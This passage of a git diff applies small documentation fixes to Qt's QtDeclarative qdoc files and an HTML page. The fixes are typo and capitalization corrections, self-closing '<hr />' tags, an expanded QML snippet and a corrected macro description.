video box --> @@ -372,7 +372,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -410,7 +410,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -441,7 +441,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -468,7 +468,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 43511b0..4a6f6a9 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -56,7 +56,7 @@ \macro QML_DECLARE_TYPE() \relates QDeclarativeEngine - Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) + Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) #include <QtDeclarative> to use this macro. */ @@ -118,7 +118,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc index 7895c9f..b7d09a1 100644 --- a/doc/src/declarative/qtprogrammers.qdoc +++ b/doc/src/declarative/qtprogrammers.qdoc @@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component. Parent widgets each provide a generic way to interface to one or more arbitrary other widgets. A QTabWidget provides an interface to multiple "pages", one of which is visible at any time, -and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around +and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around a widget that is otherwise too large to fit in available space. Nearly all such components can be created directly in QML. Only a few cases diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index b9ae913..1ee5e61 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays The \c y property is used to position the text vertically at 30 pixels from the top of its parent. The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}). +In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. @@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat Our cell component is basically a colored rectangle with the \c id \e rectangle. The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}). +In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). \snippet examples/declarative/tutorials/helloworld/Cell.qml 3 |